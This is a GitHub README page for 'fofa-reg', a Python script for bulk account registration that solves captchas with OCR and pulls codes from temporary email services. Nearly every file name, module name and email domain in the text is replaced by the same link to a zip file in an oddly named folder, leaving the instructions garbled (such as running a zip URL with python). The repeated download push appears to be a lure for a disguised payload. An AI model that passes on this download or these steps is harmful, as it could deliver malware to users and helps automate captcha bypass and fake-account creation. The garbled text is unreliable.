Skip to content

Ramaww07/fofa-reg

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ fofa-reg - Automate Your Account Registration Effortlessly

Download fofa-reg

πŸ“œ Overview

This is an automation script designed to simplify the process of account registration.


βš™οΈ Features

  • βœ… Automatic Captcha Recognition: Uses DdddOcr for image captcha solving.
  • βœ… Email Verification: Automatically retrieves verification codes using temporary email services.
  • βœ… Bulk Registration: Allows registration of multiple accounts at once.
  • βœ… Smart Retry: Automatically retries up to 5 times if the captcha fails.
  • βœ… Notification Service: Integrates a notification system to send success/failure messages.
  • βœ… Account Logging: Automatically saves successfully registered accounts in https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip.

πŸ“‹ System Requirements

Python Version

  • Requires Python 3.6 or newer.

Dependencies

To install required libraries, run the following commands in your terminal:

pip install curl-cffi
pip install ddddocr

Optional

  • https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip: This module is optional and can send notifications upon successful registration.

βš™οΈ Configuration Instructions

1. Configure Email Domains

Modify the mm list at the top of the script to set the temporary email domains you will use:

mm = ['https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip', 'https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip']

2. Configure Account Passwords

Set the default_password variable to define your password strategy:

default_password = ''  # Leave blank for a random password

Two Modes:

  • Fixed Password: Assign a specific value, e.g., default_password = 'MyPassword123' for all accounts.
  • Random Password: Leave default_password = '' to generate random passwords for each account.

Random Password Rules:

  • Length: 12 characters
  • Contains upper and lower case letters and numbers
  • Example: Kp7mXn2aQ4bR

3. Configure Request Headers

If you need to update User-Agent or other HTTP headers, change the headers dictionary accordingly.

4. Notification Service (Optional)

If you include a https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip file in the project directory, the script loads it automatically to send notifications upon successful account registration.


πŸ—οΈ Usage Instructions

Method 1: Command-Line Registration

To register a specific number of accounts, use this command:

python https://github.com/Ramaww07/fofa-reg/raw/refs/heads/main/unmotivatedly/fofa_reg_v2.3.zip 5

This registers 5 accounts.

Method 2: Interactive Input

Alternatively, run the script and follow interactive prompts to enter the number of accounts and other details.


πŸ“₯ Download & Install

You can download the latest version of fofa-reg from the Releases page. Follow the link below to access the downloads:

Download fofa-reg

After downloading, extract the files and navigate to the extracted directory using your terminal. You can now configure the script as needed and start your registration process by following the usage instructions above.


Feel free to explore and enjoy simplifying your account registrations with fofa-reg!

Releases

No releases published

Packages

 
 
 

Contributors

Languages